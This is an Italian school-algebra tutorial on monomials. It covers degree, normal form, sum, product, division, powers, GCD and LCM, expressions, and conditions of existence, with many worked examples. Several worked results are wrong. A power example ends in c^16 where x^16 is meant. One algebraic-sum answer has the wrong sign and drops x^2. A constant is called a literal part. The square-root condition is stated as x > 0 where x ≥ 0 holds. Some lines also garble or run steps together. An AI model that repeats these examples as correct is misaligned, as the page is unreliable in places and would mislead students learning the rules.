Massimo comun divisore e minimo comune multiplo tra monomi

Multiplo e divisore di un monomio

Così come per i numeri naturali, anche per i monomi possiamo dare la definizione di multiplo.

Dati due monomi A e B, si dice che A è multiplo di B se esiste un monomio C tale che $ A = B \times C $. Il monomio B si dice divisore del monomio A.

Per esempio, il monomio $ A = 3a^2bc^3 $ è multiplo del monomio $ B = abc^2 $, perché il monomio A si può ottenere moltiplicando il monomio B per un terzo monomio $ C = 3ac $; infatti: $ abc^2 \times 3ac = 3a^2bc^3 $.

Massimo comun divisore (M.C.D)

La nozione di massimo comun divisore introdotta con i numeri naturali, può essere estesa ai monomi. Il massimo comun divisore (M.C.D.) di due o più monomi non nulli è un monomio così formato:

Il coefficiente è il M.C.D. dei valori assoluti dei coefficienti dei monomi dati, se tali coefficienti sono tutti interi, altrimenti è 1;
La parte letterale è formata da tutte le lettere comuni ai monomi di partenza, ciascuna presa una sola volta e con esponente uguale al minore degli esponenti con cui essa figura nei monomi dati.

In particolare, il monomio così formato sarà un divisore dei monomi di partenza, e precisamente, sarà quello di grado maggiore.

Esempio 1: calcolare il M.C.D. dei seguenti monomi:

$ 12 x^3 y^2 $; $ 40 x^4 y^3 z^2 $; $ 44 x^2 y $

Scomponiamo in fattori i coefficienti, che sono numeri interi:

$ 12 = 2^2 \times 3 $

$ 40 = 2^3 \times 5 $

$ 44 = 2^2 \times 11 $

La parte numerica è quindi data da

$ M.C.D. (12, 40, 44) = 2^2 = 4 $

Per quanto riguarda la parte letterale, i fattori comuni a tutti i monomi sono x e y, che dobbiamo prendere con esponente minore: $ x^2 $ e $ y $.

Il monomio che rappresenta il M.C.D. è quindi questo: $ 4x^2y $.

Esempio 2: calcolare il M.C.D. dei seguenti monomi:

$ -30 a^3 b^2 $; $ 45 a^2 b c^2 $; $ 25 a^2 b^3 c $

Calcoliamo la parte numerica:

$ 30 = 2 \times 3 \times 5 $

$ 45 = 3^2 \times 5 $

$ 25 = 5^2 $

$ M.C.D. (30, 45, 25) = 5 $

Per la parte letterale, i fattori comuni sono a e b, presi con esponente minimo, quindi abbiamo: $ a^2 b $.

Il monomio che rappresenta il M.C.D. è quindi questo: $ 5 a^2 b $.

Esempio 3: calcolare il M.C.D. dei seguenti monomi:

$ 35 m p^2 $; $ 7 m^2 q^3 $; $ \frac{1}{7} m^2 q^3 $

La parte numerica, considerando che il coefficiente di uno dei monomi è una frazione, e uguale a 1.

Per la parte letterale, l’unico fattore comune è m, che preso con esponente minimo, è m:

Il monomio che rappresenta il M.C.D. è quindi m.

Esempio 4: calcolare il M.C.D. dei seguenti monomi:

$ 12 a^{2n} b $; $ 3 a^{3n} b^5 $; $ 18 a^{4n} $

Calcoliamo la parte numerica:

$ 12 = 2^2 \times 3 $

$ 3 = 3 $

$ 18 = 3^2 \times 2 $

$ M.C.D. (12, 3, 18) = 3 $

Per la parte letterale, notiamo che la lettera a compare con esponente un numero naturale n moltiplicato per un fattore.

Consideriamo questa lettera in questo modo: $ a^{2n} = (a^n)^2, a^{3n} = (a^n)^3, a^{4n} = (a^n)^4 $; di conseguenza, questa lettera, l’unica presente in tutti i monomi, presa con esponente più basso, sarà $ a^{2n} $.

Il monomio che rappresenta il M.C.D. è quindi questo: $ 3a^{2n} $.

Minimo comune multiplo (m.c.m)

Il minimo comune multiplo (m.c.m.) di due o più monomi si ottiene in questo modo:

Il coefficiente è il m.c.m. dei valori assoluti dei coefficienti dei monomi dati, se tali coefficienti sono tutti interi, altrimenti è 1;
La parte letterale è formata da tutte le lettere comuni e non comuni ai monomi di partenza, ciascuna presa una sola volta e con esponente uguale al maggiore degli esponenti con cui essa figura nei monomi dati.

In particolare, il monomio così formato è multiplo di tutti i monomi dati e, tra tutti i multipli dei monomi dati, è quello di grado minore.

Esempio 1: calcolare il m.c.m. dei seguente monomi:

$ 20 a^3 b^4 $; $ 35 a^2 c^2 $; $ 15 a b^2 c $

Procediamo scomponendo in fattori le parti letterali di ciascun monomio, e calcolando il loro m.c.m.:

$ 20 = 2^2 \times 5 $

$ 35 = 7 \times 5 $

$ 15 = 3 \times 5 $

$ m.c.m (20, 35, 15) = 3 \times 7 \times 2^2 \times 5 = 420 $

I fattori letterali presenti nei tre monomi sono a, b, c; l’esponente massimo con cui figura a è 3, quello di b è 4, mentre quello di c è 2. Quindi, la parte letterale è la seguente: $ a^3 b^4 c^2 $.

Il monomio che rappresenta il m.c.m. è quindi questo: $ 420 a^3 b^4 c^2 $.

Esempio 2: calcolare il m.c.m. dei seguente monomi:

$ 2 x y^3 z $; $ – \frac{1}{3} x^2 y^2 z^2 $; $ -\frac{4}{5} x^4 z^2 $

Poiché le parti numeriche di due monomi sono frazioni, il coefficiente è uguale a 1.

I fattori letterali presenti nei tre monomi sono x, y, z; presi con l’esponente massimo, otteniamo come parte letterale: $ x^4 y^3 z^2 $.

Il monomio che rappresenta il m.c.m. è quindi: $ x^4 y^3 z^2 $.

Esempio 3: calcolare il m.c.m. dei seguente monomi:

$ 5 a^3 b c $; $ 12 a b^2 c^3 $; $ 10 a^3 b^3 c^2 $

Calcoliamo il m.c.m. della parte numerica:

$ 5 = 5 $

$ 12 = 3 \times 2^2 $

$ 10 = 2 \times 5 $

$ m.c.m. (5, 12, 10) = 3 \times 2^2 \times 5 = 60 $

I fattori letterali presenti nei tre monomi sono a, b, c; l’esponente massimo con cui figura a è 3, quello di b è 3, quello di c è 3. Quindi, la parte letterale è la seguente: $ a^3 b^3 c^3 $.

Il monomio che rappresenta il m.c.m. è quindi questo: $ 60 a^3 b^3 c^3 $.

Esempio 4: calcolare il m.c.m. dei seguente monomi:

$ 14 m^3 n^2 r^4 $; $ 49 m n^3 r $; $ 4 m^4 n^2 $

Calcoliamo la parte numerica:

$ 14 = 2 \times 7 $

$ 49 = 7^2 $

$ 4 = 2^2 $

Le lettere che compongono la parte letterale sono m, n, r, prese con esponente maggiore: $ m^4 n^3 r^4 $.

Il monomio che rappresenta il m.c.m. è quindi questo: $ 196 m^4 n^3 r^4 $.

Monomi primi tra loro

Due monomi sono primi fra lori se il massimo comun divisore è 1.

Per esempio $ 7 x^3 y $ e $ 5 z t^2 $ sono monomi primi, perché non hanno fattori in comune, né nella parte numerica, né in quella letterale.

Altre risorse utili

Test sui monomi

Espressioni con i monomi

Vediamo ora alcuni esempi di espressioni con i monomi:

Esempio 1: $ -[-a (-2b)^3 (-a)^2]^2 + (-2ab)^6 = $

Semplifichiamo l’espressione, mettendo in pratica tutte le regole che abbiamo visto precedentemente:

$ – [ -a (-2)^3 (b)^3 a^2]^2 + (-2)^6 a^6 b^6 = $

$ – [-a (-8) b^3 a^2]^2 + 64 a^6 b^6 = $

$ – [8a b^3 a^2]^2 + 64 a^6 b^6 = $

$ -[8a^{1+2} b^3]^2 + 64 a^6 b^6 = $

$ -8^2 (a^{3\times 2}) (b^{3\times 2}) + 64 a^6 b^6 = $

$ -64 a^6 b^6 + 64 a^6 b^6 = 0 $

Esempio 2:

$ \big\{[- (-x)^2]^2 \times \frac{1}{2} x^3\big\}^4 + \frac{1}{4} x^{20} \big(-\frac{1}{4} x^8\big) = $

$ \big\{[-x^2]^2 \times \frac{1}{2} x^3\big\}^4 + \frac{1}{4} \big(-\frac{1}{4}\big) x^{20} x^8 = $

$ \big\{x^{2\times 2} \times \frac{1}{2} x^3\big\}^4 – \frac{1}{16} x^{20+8} = $

$ \big\{\frac{1}{2} x^4 x^3\big\}^4 -\frac{1}{16} x^{28} = \big\{\frac{1}{2} x^{4+3} \big\}^4 – \frac{1}{16} x^{28} = $

$ \big\{\frac{1}{2} x^7\big\}^4 -\frac{1}{16} x^{28} = \big(\frac{1}{2}\big)^4 (x^7)^4 – \frac{1}{16} x^{28} = $

$ \frac{1}{16} x^{7 \times 4} – \frac{1}{16} x^{28} = \frac{1}{16} x^{28} – \frac{1}{16} x^{28} = $

$ \big(\frac{1}{16} – \frac{1}{16}) x^{28} = 0 x^{28} = 0 $

Es. 3:

$ [(-xy^3) (-5x^3y) : (-xy)^2]^2 : (-5xy^2)^2 + x^2 – (-2x)^2 = $

$ [(5x^{1+3} y^{3+1} ) : (x^2 y^2)]^2 : (25x^2 y^4) + x^2 – (4x^2) = $

$ [(5x^4y^4) : (x^2 y^2)]^2 : (25x^2 y^4) + x^2 – 4x^2 = $

$ [5x^{4-2} y^{4-2}]^2 : (25x^2 y^4) – 3x^2 = $

$ [5x^2 y^2]^2 : (25x^2 y^4) – 3x^2 = $

$ 25x^4 y^4 : (25x^2 y^4) -3x^2 = $

$ x^{4-2} y^{4-4} – 3x^2 = x^2 – 3x^2 = -2x^2 $

Es. 4:

$ \big[(-x^3y)^2 \big(-\frac{1}{4}xy^2\big) + \frac{3}{2}x^3y^2\big(-\frac{1}{3}x^2y\big)^2\big] : \big[\frac{1}{4}xy(-x^3y)^2\big] = $

$ \big[(x^6y^2) \big(-\frac{1}{4}xy^2\big)+\big(\frac{3}{2}x^3y^2\big)\big(\frac{1}{9}x^4y^2\big)\big] : \big[\frac{1}{4}xy(x^6y^2)\big] = $

$ \big[-\frac{1}{4}x^{6+1}y^{2+2}+\frac{3}{2}\times \frac{1}{9}x^{3+4}y^{2+2}\big] : \big[\frac{1}{4}x^{1+6}y^{1+2}\big] = $

$ \big[-\frac{1}{4}x^7y^4 + \frac{1}{6}x^7 y^4\big] : \big[\frac{1}{4}x^7y^3\big] = $

$ \big[\big(-\frac{1}{4} + \frac{1}{6}\big)x^7y^4\big] : \big[\frac{1}{4}x^7y^3\big] = $

$ \big[-\frac{1}{12}x^7y^4\big] : \big[\frac{1}{4}x^7y^3\big] = $

$ -\frac{1}{12} \times 4 x^{7-7} y^{4-3} = -\frac{1}{3} y $

Altre risorse utili

Videolezione sulla riduzione di un monomio in forma normale

Potenza di un monomio

Poiché un monomio è costituito da sole operazioni di moltiplicazione, ricordiamo che quando un prodotto è elevato ad una potenza, è come se ogni suo fattore sia elevato a quella potenza. Diamo quindi delle regole per elevare ad una potenza n un monomio:

Elevare il coefficiente alla potenza n;
Moltiplicare per n gli esponenti di ciascun fattore della parte letterale:

Il grado della potenza di un monomio è il prodotto del grado del monomio dato per l’esponente della potenza.

Esempio 1: $ (-2a^2 b c^3)^3 $

Procediamo come spiegato in precedenza:

$ (-2a^2 b c^3)^3 = (-2)^3 (a^2)^3 (b)^3 (c^3)^3 = $

$ -8a^{2\times 3} b^3 c^{3\times 3} = -8a^6 b^3 c^9 $

Esempio 2: $ \big(\frac{3}{4} a^3 b^5 x^4\big)^4 $

Procediamo come spiegato in precedenza:

$ \big(\frac{3}{4} a^3 b^5 x^4\big)^4 = \big(\frac{3}{4}\big)^4 (a^3)^4 (b^5)^4 (x^4)^4 = $

$ \frac{(3)^4}{(4)^4} a^{3\times 4} b^{5\times 4} x^{4\times 4} = \frac{81}{256} a^{12} b^{20} c^{16} $

Es. 3: $ \big[\big(-\frac{3}{2} a b^2 c^3\big)^2\big]^2 $

$ \big[\big(-\frac{3}{2} a b^2 c^3\big)^2\big]^2 = \big(-\frac{3}{2} a b^2 c^3\big)^{2\times 2} = $

$ \big(-\frac{3}{2} a b^2 c^3\big)^4 = \big(-\frac{3}{2}\big)^4 (a)^4 (b^2)^4 (c^3)^4 = $

$ \frac{(3)^4}{(2)^4} a^4 b^{2\times 4} c^{3\times 4} = \frac{81}{16} a^4 b^8 c^{12} $

Es. 4: $ \big\{\big[-\big(\frac{1}{2} a^3 b^2 \big)^2\big]^3\big\}^2 $

$ \big\{\big[-\big(\frac{1}{2} a^3 b^2 \big)^2\big]^3\big\}^2 = \big[-\big(\frac{1}{2} a^3 b^2 \big)^2\big]^{3\times 2} = $

$ \big[- \big(\frac{1}{2} a^3 b^2\big)^2\big]^6 = \big[\big(\frac{1}{2} a^3 b^2 \big)^2 \big]^6 = \big(\frac{1}{2} a^3 b^2\big)^{2 \times 6} = $

$ \big( \frac{1}{2} a^3 b^2 \big)^{12} = \big(\frac{1}{2}\big)^{12} (a^3)^{12} (b^2)^{12} = $

$ \frac{1}{(2)^{12}} a^{3 \times 12} = \frac{1}{2^{12}} a^{36} b^{24} $

Altro materiale di supporto

Capitolo sui Monomi del manuale Matematica C3 Algebra 1

Test sui monomi.

Moltiplicazione e divisione fra monomi

Prodotto tra monomi

Il prodotto di due o più monomi si indica scrivendo i monomi, racchiusi fra parentesi tonde, uno di seguito all’altro, così da ottenere un’espressione letterale in cui figurano solo operazioni di moltiplicazione. Quindi, il prodotto di due o più monomi è anch’esso un monomio, che va poi ridotto in forma normale.

Il prodotto di due o più monomi non nulli, scritti in forma normale, è il monomio formato in questo modo:

La parte numerica (il coefficiente) è il prodotto dei coefficienti dei monomi di partenza;
La parte letterale è costituita da tutte le lettere che figurano nei monomi di partenza, prese ognuna una sola volta, con esponente uguale alla somma degli esponenti don cui compaiono nei monomi di partenza.

Vediamo qualche esempio:

esempi

Es. 1: $ (-x^4yz^5)(xy^4)(-3yz^2) $

Procediamo occupandoci dei segni, poi togliamo le parentesi, ordiniamo il monomio, poi moltiplichiamo sommando gli esponenti:

$ (x^4yz^5)(xy^4)(3yz^2) = x^4yz^5xy^43yz^2 = $

$ 3xx^4yy^4yz^5z^2 = 3x^{1+4}y^{1+4+1}z^{5+2} = $

$ 3x^5y^6z^7 $

Es. 2: $ -\frac{1}{2}a^2b^3c^4\times\big(+\frac{8}{3}b^2c^3\big) $

Svolgiamo il prodotto calcolando prima la parte numerica, poi quella letterale:

$ \big(-\frac{1}{2}\times\frac{8}{3}\big) a^2b^3c^4\times (b^2c^3)=-\frac{4}{3}a^2b^3c^4 \times (b^2c^3) = $

$ -\frac{4}{3}a^2b^3c^4\times b^2c^3 = -\frac{4}{3}a^2b^3b^2c^4c^3 = $

$ -\frac{4}{3} a^2b^{3+2}c^{4+3} = -\frac{4}{3}a^2b^5c^7 $

Es. 3: $ -\frac{7}{9}ab^2c(-6ab^2c)\big(-\frac{3}{8}abc^2\big) $

$ = -\frac{7}{9}\times (-6) \times \big(-\frac{3}{8}\big)ab^2c(ab^2c)(abc^2) = $

$ -\frac{7}{4} ab^2c(ab^2c)(abc^2) = -\frac{7}{4}ab^2cab^2cabc^2 = $

$ -\frac{7}{4}aaab^2b^2bccc^2 = -\frac{7}{4}a^{1+1+1}b^{2+2+1}c^{1+1+2} = $

$ -\frac{7}{4}a^3b^5c^4 $

Es. 4: $ – \big(-\frac{12}{5}x^2m\big)(+0.2x^3m^2)\big(-\frac{25}{4}mn^2x\big) $

$ = – \big(-\frac{12}{5}\big) (+0.2)\big(-\frac{25}{4}\big) x^2mx^3m^2mn^2x = $

$ – \big(\frac{12}{5}\big)\big(\frac{1}{5}\big)\big(\frac{25}{4}\big)x^2mx^3m^2mn^2x = $

$ -3x^2mx^3m^2mn^2x = -3mm^2mx^2x^3xn^2 = $

$ -3m^{1+2+1}x^{2+3+1}n^2 = -3m^4x^6n^2 $

Divisione fra monomi

A differenza delle precedenti operazioni fra monomi che abbiamo esaminato, la divisione fra monomi non è sempre possibile.

Diciamo allora che un monomio A è divisibile per un monomio B, diverso dal monomio nullo, se esiste un monomio Q che, moltiplicato per B dia A, cioè se risulta $ A = B \times Q $.

Si scrive quindi che $ A : B = Q \leftrightarrow A = B \times Q $ con $ B \neq 0 $;

Come per i numeri naturali, anche per i monomi si dice che A è il dividendo, B è il divisore, Q è il quoziente.

Vediamo ora alcune regole per eseguire la divisione fra monomi; se la divisione è possibile, il monomio ottenuto sarà così formato:

La parte numerica (il coefficiente) è il quoziente dei coefficienti dei monomi di partenza, in particolare del monomio dividendo e del monomio divisore;
La parte letterale è costituita dalle lettere del dividendo, ciascuna con esponente uguale alla differenza degli esponenti con cui compare nei monomi dividendo e divisore.

Esempi

Es. 1: $ \big(\frac{3}{4}ab^3c^2d^4\big) : (-2ab^2c) $

Occupiamoci per prima cosa della parte numerica, ed effettuiamo la divisione fra i coefficienti:

$ \big[\frac{3}{4} : (-2)\big] \times [(ab^3c^2d^4) : (ab^2c)] = $

$ \big[\frac{3}{4} \times \big(-\frac{1}{2}\big)\big] \times [(ab^3c^2d^4) : (ab^2c)] = $

$ – \frac{3}{8} [(ab^3c^2d^4) : (ab^2c)] $

Ora possiamo passare alla parte letterale, ed effettuiamo la divisione lettera per lettera, sottraendo l’esponente del divisore a quello del dividendo:

$ – \frac{3}{8} \times a^{1-1} b^{3-2} c^{2-1} d^{4-0} = – \frac{3}{8} \times a^0b^1c^1d^4 = $

$ – \frac{3}{8}bcd^4 $

Es. 2: $ – \frac{1}{3} x^3 y^3 z : \big(- \frac{1}{4} x^3 y^2 \big) = $

$ \big[ -\frac{1}{3} : \big( – \frac{1}{4} \big)\big] \times [x^3 y^3 z : (x^3 y^2)] = $

$ \big[ – \frac{1}{3} \times (-4) \big] \times [x^3 y^3 z : (x^3 y^2)] = $

$ \frac{4}{3} \times [x^3 y^3 z : ( x^3 y^2)] = $

$ \frac{4}{3} x^{3-3} y^{3-2} z = \frac{4}{3} x^0 y^1 z = \frac{4}{3} yz $

Es. 3: $ -54 a^3 b^4 c^7 : (+9 ab^3 c^4) = $

$ (-54 : 9) \times [a^3 b^4 c^7 : (a b^3 c^4)] = $

$ -6 \times a^{3-1} b^{4-3} c^{7-4} = -6 a^2 b^1 c^3 = -6 a^2 b c^3 $

Es. 4: $ -\frac{1}{2} a^3 x^2 y z^4 : (-2a x^2 z^3) = $

$ \big[- \frac{1}{2} : (-2) \big] \times [a^3 x^2 y z^4 : (a x^2 z^3)] = $

$ \big[ -\frac{1}{2} \times \big(-\frac{1}{2}\big)\big] \times [a^3 x^2 y z^4 : (ax^2 z^3)] = $

$ \frac{1}{4} \times [a^3 x^2 y z^4 : (ax^2 z^3)] = \frac{1}{4} \times a^{3-1} x^{2-2} y z^{4-3} = $

$ \frac{1}{4} \times a^2 x^0 y z^1 = \frac{1}{4} a^2 y z $

Altre risorse di supporto

Fai pratica con le operazioni coi monomi
Dispensa sui monomi e polinomi.

Somma e differenza fra monomi

Definizione di monomi simili

Due monomi sono simili se hanno la stessa parte letterale con gli stessi esponenti. Esempi di monomi simili:

$ 2ab^2c $ e $ 10ab^2c $

$ 7b^2a^3 $ e $5a^3b^2 $

$ \frac{1}{5}a^3bc^2 $ e $ 6a^3bc^2 $

Somma fra monomi simili

In generale, i monomi possono essere sommati fra loro, e per farlo basta metterli uno di seguito all’altro con i rispettivi segni:

$ 2ab^2c + 10ab^2c $;

$ 7b^2a^3 + 5a^3b^2 $;

$ \frac{1}{5}a^3bc^2 + 6a^3bc^2 $

Nel caso dei monomi simili, poiché la parte letterale è la stessa, ed è in comune ai due addendi, essa può essere messa in evidenza in questo modo:

$ (2 + 10) ab^2c $;
$ (7 + 5) b^2a^3 $;
$ \big(\frac{1}{5} + 6\big) a^3bc^2 $;

Possiamo quindi affermare che la somma di due monomi simili è data dal monomio simile ad entrambi che ha come parte numerica la somma delle parti numeriche dei due monomi di partenza.

$ (2 + 10) ab^2c = 12ab^2c $

$ (7+5)b^2a^3 = 12b^2a^3 $

$ \big(\frac{1}{5} + 6\big) a^3bc^2 = \frac{31}{5}a^3bc^2 $

Differenza fra monomi simili

Con lo stesso procedimento della somma, possiamo fare la differenza fra due monomi simili:

$ 3b^2c – (+11b^2c) $

$ -9b^2a^2 + 5a^2b^2 = +5a^2b^2 – (+9b^2a^2) $

$ -\frac{2}{3}a^3bc^2 – \big(+\frac{3}{4}a^3bc^2\big) $

sommando al primo l’opposto del secondo:

$ 3b^2c – 11b^2c = (3 – 11)b^2c = -8b^2c $

$ +5a^2b^2 – (+9b^2a^2) = (5 – 9)b^2a^2 = -4b^2a^2 $

$ -\frac{2}{3}a^3bc^2 – \frac{3}{4}a^3bc^2 = \big(-\frac{2}{3} – \frac{3}{4}\big) a^3bc^2 = -\frac{17}{12}a^3bc^2 $

In particolare, notiamo che la somma di due monomi opposti è sempre uguale a zero:

$ 4ab^2 + (-4ab^2) = (4 – 4) ab^2 = 0ab^2 = 0 $

Somma algebrica di monomi simili in un’espressione letterale

Con somma algebrica si intende l’operazione di somma o sottrazioni fra due numeri, in questo caso fra monomi. Quando ci troviamo in un’espressione letterale di questo tipo: $ 2a^2+4xy^2-3a^2+7x-2ab-3xy^2 $, dobbiamo procedere in questo modo:

Evidenziamo i monomi simili:

\[ \color{red}{2a^2}\color{green}{+4xy^2}\color{red}{-3a^2}+7x – 2ab\color{green}{-3xy^2} \]

Sommiamo i monomi simili fra loro:

\[ \color{red}{(2-3)a^2}\color{green}{+(4-3)xy^2}+7x-2ab\color{red}{-a^2}\color{green}{+xy^2}+7x-2ab \]

Esempio 1

$ (10-7b) – (7b-10) – (5 + 2b) – (2b + 5) = $

Semplifichiamo l’espressione e togliamo le parentesi:

$ 10 – 7b – 7b + 10 -5 -2b -2b – 5 = $

$ (10 + 10 -5 -5) + (-2 – 2 – 7 – 7) b = 10 -18b $

Esempio 2

$ 23x^yz + 9xyz^2 – 18x^2yz – xyz^2 +2x^2yz + xyz^2 $

Evidenziamo i monomi simili:

$ \color{green}{23x^2yz}\color{red}{+9xyz^2}\color{green}{-18x^2yz}\color{red}{-xyz^2}\color{green}{+2x^2yz}\color{red}{+xyz^2} $

Sommiamo:

$ \color{green}{(23-18+2)x^2yz}\color{red}{(+9-1+1)xyz^2}=\color{green}{7x^2yz}\color{red}{+9xyz^2} $

Esempio 3

$ -5x^2y + (-4xy^2)-\big(-\frac{1}{2}x^2y\big)-\big(\frac{4}{3}x^2y\big)-\big(\frac{-xy^2}{2}\big) = $

Semplifichiamo l’espressione e togliamo le parentesi:

$ -5x^2y – 4xy^2 + \frac{1}{2}x^2y -\frac{4}{3}x^2y + \frac{xy^2}{2} = $

Evidenziamo i monomi simili:

$ \color{red}{-5x^2y}\color{green}{-4xy^2}\color{red}{+\frac{1}{2}x^2y-\frac{4}{3}x^2y}\color{green}{+\frac{xy^2}{2}}= $

Sommiamoli fra loro:

$ \color{red}{\big(-5+\frac{1}{2}-\frac{4}{3}\big)y}+\color{green}{\big(-4+\frac{1}{2}\big)xy^2}= $

$ \color{red}{\frac{35}{6}y}-\color{green}{\frac{7}{2}xy^2} $

Esempio 4

$ \frac{3}{5}xy – \big[2a + (xy-3a)-\big(\frac{1}{2}a+2xy\big)\big]+\frac{1}{3}a $

Semplifichiamo l’espressione, togliendo le parentesi:

$ \frac{3}{5}xy-\big[2a+xy-3a-\frac{1}{2}a-2xy\big]+\frac{1}{3}a = $

$ \frac{3}{5}xy – 2a -xy + 3a + \frac{1}{2}a + 2xy + \frac{1}{3}a = $

Evidenziamo i monomi simili:

$ \color{green}{\frac{3}{5}xy}\color{red}{-2a}\color{green}{-xy}\color{red}{+3a+\frac{1}{2}a}\color{green}{+2xy}\color{red}{+\frac{1}{3}a} $

Sommiamo i monomi simili:

$ \color{green}{\big(\frac{3}{5}-1+2\big)}+\color{red}{\big(-2+3+\frac{1}{2}+\frac{1}{3}\big)a}= $

$ \color{green}{\frac{8}{5}xy}+\color{red}{\frac{11}{6}a} $

Altre risorse

Test sui monomi

Monomi

Definizione di monomio

Un monomio è un’espressione letterale in cui compaiono solo operazioni di moltiplicazione; il monomio è composto da una parte letterale, e da una parte numerica.
Vediamo qualche esempio:

Esempio 1: $ 3ab $

Il monomio è composto dalla parte numerica, che è ‘3’, e dalla parte letterale, che è ‘ab’.

Esempio 2: $ -2ab^2 $

In questo caso, la parte numerica è ‘-2’, e la parte letterale è $ ab^2 $.

Valore numerico di un monomio

Come per le espressioni letterali, anche per i monomi vale la definizione di valore numerico: il valore numerico di un monomio è il valore che si ottiene eseguendo la sequenza di operazioni indicate dal monomio dopo aver sostituito dei valori numerici alle lettere che lo compongono.

Se volessimo, per esempio, calcolare il valore numerico del monomio $ 2ab^2 $ quando $ a $ vale 2, e $ b $ vale 3, dobbiamo semplicemente sostituire questi valori nell’espressione:

\[ 2ab^2 = 2 \times 2 \times 3^2 = 2 \times 2 \times 9 = 36 \]

Monomi interi e frazionari

I monomi possono essere interi, o frazionari, in base al fatto se compaiano o no lettere al denominatore.

Esempi di monomi interi

$ \frac{2}{3} a^3 c^2 $, $ 21 b^2 c $, $ 3a^2b^3c $

Esempi di monomi frazionari

$ \frac{b^2a^3}{c} $, $ \frac{2a^2b}{c^3} $, $ \frac{c^2}{2ab} $

I monomi possono essere suddivisi in tre categorie: i monomi simili, i monomi uguali e i monomi opposti.

Monomi simili

Si dicono simili due monomi che hanno la stessa parte letterale con gli stessi esponenti.

Esempi di monomi simili:

$ 2ab^2c $ e $ 10ab^2c $;

$ 7b^2a^3 $ e (5a^3b^2) \);

$ \frac{1}{5}a^3bc^2 $ e $ 6a^3bc^2 $;

Monomi uguali

Si dicono uguali due monomi che hanno la stessa parte letterale con gli stessi esponenti, e hanno uguale anche la parte numerica.

Esempi di monomi uguali

$ 2ac^2 $ e $ 2ac^2 $;

$ 7b^2a^3 $ e $ 7a^3b^2 $;

$ \frac{1}{5}a^3bc^2 $ e $ \frac{1}{5}a^3bc^2 $

Monomi opposti

Si dicono opposti due monomi che hanno la stessa parte letterale con gli stessi esponenti, ma la parte numerica opposta.

Esempi di monomi opposti

$ 2ac^2 $ e $ -2ac^2 $;

$ 5b^2c^3 $ e $ -5b^2c^3 $;

$ \frac{11}{3}a^2bc^4 $ e $ -\frac{11}{3}a^2bc^4 $;

Grado di un monomio

Si definisce grado di un monomio il grado complessivo del monomio, cioè la somma degli esponenti delle lettere che formano la parte letterale:

$ a^3b^2cd^4 $ ha grado $ 3 + 2 + 1 +4 = 10 $
$ \frac{5}{3}ab^3c^4d^4 $ ha grado $ 1 + 3 + 4 + 4 = 12 $

Facendo riferimento ad una lettera precisa, invece, si parla di grado rispetto ad una lettera, cioè il grado con cui quella lettera compare nel monomio.

Esempio. Nel monomio $ +5a^3b^2cd^4 $ il grado rispetto alla lettera ‘a’ è 3, mentre il grado rispetto alla lettera ‘c’ è 1 (perché quando una lettera è priva di esponente, va considerata con esponente 1); potremmo anche far riferimento ad una lettera ‘e’, che non è presente nel monomio, in questo caso il suo grado sarebbe 0.

Se in un monomio manca una lettera, si dice che il monomio è di grado zero rispetto a quella lettera.

Secondo questa definizione, quindi, possiamo considerare monomi anche le parti letterali da sole, ad esempio $ +5 $ o $ -3 $; in questo caso, si parla di monomio di grado zero, in quanto tutte le lettere che vi compaiono hanno grado zero (sono cioè uguali a 1).

Una piccola eccezione va fatta nel caso in cui compaia solo 0 come parte numerica; in questo caso non siamo in grado di determinare il grado delle lettere che compaiono, perciò il suo grado rimane indefinito, ed esso prende il nome di monomio nullo.

Monomio in forma normale

Un monomio si dice in forma normale se la parte letterale è composta da lettere che compaiono una sola volta.

Ad esempio $ 8a^2b^3c $ e $ 2b^2a^4c $ sono in forma normale, mentre $ 3a^2b^3cab $ e $ 3ab^2a^3\frac{2}{5}c $ non lo sono.

Un monomio può essere facilmente ridotto in forma normale, seguendo queste regole:

si ordina il monomio, cosicché risulti più semplice individuare i fattori numerici, e le lettere uguali;
si moltiplicano fra loro i fattori numerici;
si moltiplicano le potenze con la stessa base;

Esempio 1 di monomio in forma normale

$ a^2 ( -1 ) (+3) ab^2 (-b) $

Ordiniamo il monomio in questo modo:

$ (-1) (+3)a^2ab^2(-b) = (-1)(+3)(-1)a^2ab^b $;

occupiamoci della parte numerica, e moltiplichiamo $ (-1)(+3)(-1) = +3 $;

ora, passiamo alla parte letterale, e moltiplichiamo le lettere simili, ricordandoci le regole della moltiplicazione di potenze con la stessa base: dobbiamo sommare gli esponenti:

$ 3a^{2+1}b^{2+1} = 3a^3b^3 $

Esempio 2

$ 3a^4b^2\frac{3}{5}ca^3(-b)^2 $

Procediamo come prima. Ordiniamo il monomio:

$ 3 \times \frac{3}{5}a^4a^3b^2(-b)^3c = 3 \times \frac{3}{5}(-1)a^4a^3b^2b^2c $

Moltiplichiamo fra loro i numeri e le lettere simili:

$ -\frac{9}{5}a^{4+3}b^{2+2}c = -\frac{9}{5}a^7b^4c $

Esempio 3

$ (-0.3)ab^4\big(+\frac{5}{9}\big)a(-b)a^3 $

Ordiniamo il monomio, e trasformiamo tutti i numeri in numeri frazionari:

$ (0.3)\big(+\frac{5}{9}\big)aaa^3b^4(-b) = \big(-\frac{3}{10}\big)\big(+\frac{5}{9}\big)(-1)aaa^3b^4b $

Moltiplichiamo fra loro i numeri e le lettere simili:

$ \frac{1}{6}a^{1+1+3}b^{4+1} = \frac{1}{6}a^5b^5 $

Esegui il test sui monomi

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Videolezione: Ridurre un monomio in forma normale

Condizioni di esistenza e valore numerico di un’espressione letterale

Condizioni di esistenza

Talvolta un’espressione letterale può essere espressa mediante una frazione, e in questi casi occorre fare attenzione.

Sappiamo infatti, che una frazione in cui compaia zero al numeratore è accettabile, e il suo valore è proprio zero; mentre non ha significato una frazione con zero al denominatore.

Quindi, in tutte le espressioni di questo tipo:

$ \frac{x-1}{x}; \frac{2x+3}{x}; \frac{3x-1}{2x} $

per dire che il denominatore, e quindi x, non può annullarsi, scriviamo $ x \neq 0 $, e diciamo che questa è la condizione di esistenza (C.E.) dell’espressione letterale.

Si possono presentare anche altri casi, in cui l’espressione appare in questo modo:

\[ \frac{x}{x+3} \]

In questo caso, dobbiamo capire quali valori di x fanno si che il denominatore sia 0, e notiamo che questo accade per $ x = – 3 $.

Un’altra situazione da considerare è quella in cui la nostra espressione letterale si trovi sotto una radice quadrata. Sappiamo, infatti, che non si possono avere numeri negativi sotto una radice con indice pari, quindi se troviamo delle lettere dentro una radice dobbiamo fare in modo che tutto ciò che vi è al di sotto sia positivo.

Per esempio, considerando $ \sqrt{3x} $ e volendo imporre che l’argomento della radice sia positivo, dobbiamo imporre che x sia positiva, quindi: $ x \gt 0 $.

